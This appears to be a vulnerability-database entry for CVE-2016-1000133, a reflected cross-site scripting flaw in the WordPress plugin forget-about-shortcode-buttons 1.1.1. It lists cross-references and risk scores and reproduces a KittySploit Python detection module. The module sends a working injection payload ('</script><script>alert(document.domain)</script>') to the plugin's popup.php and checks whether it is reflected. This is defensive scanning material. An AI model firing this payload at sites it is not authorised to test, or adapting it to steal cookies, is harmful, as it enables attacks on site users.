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WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Reflected XSS in WordPress plugin forget-about-shortcode-buttons allows script execution.

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cnvd
CNVD
Wordpress forget-about-shortcode-buttons plugin cross-site scripting vulnerability
13 Oct 201600:00
–cnvd
cve
CVE
CVE-2016-1000133
10 Oct 201620:00
–cve
cvelist
Cvelist
CVE-2016-1000133
10 Oct 201620:00
–cvelist
euvd
EUVD
EUVD-2016-1077
7 Oct 202500:30
–euvd
nuclei
Nuclei
WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2016-1000133
10 Oct 201620:59
–nvd
osv
OSV
CVE-2016-1000133
10 Oct 201620:59
–osv
patchstack
Patchstack
WordPress Forget About Shortcode Buttons Plugin <= 1.1.1 - Cross Site Scripting
20 Jul 201600:00
–patchstack
prion
Prion
Cross site scripting
10 Oct 201620:59
–prion
ptsecurity
Positive Technologies
PT-2016-4525
10 Oct 201600:00
–ptsecurity
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Wordpress plugin forget-about-shortcode-buttons 1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting Detection',
        'description': 'Wordpress plugin forget-about-shortcode-buttons 1.1.1 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve2016', 'cve', 'wordpress', 'xss', 'wp-plugin', 'designsandcode', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://wordpress.org/plugins/forget-about-shortcode-buttons',
            'http://www.vapidlabs.com/wp/wp_advisory.php?v=602',
            'https://nvd.nist.gov/vuln/detail/CVE-2016-1000133',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2016-1000133',
    }

    def run(self):
        path = '/wp-content/plugins/forget-about-shortcode-buttons/readme.txt'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('Forget About Shortcode Buttons =',)
        if not (any(m in body for m in body_any)):
            return False
        path = '/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('</script><script>alert(document.domain)</script>',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 36.1
EPSS0.03415
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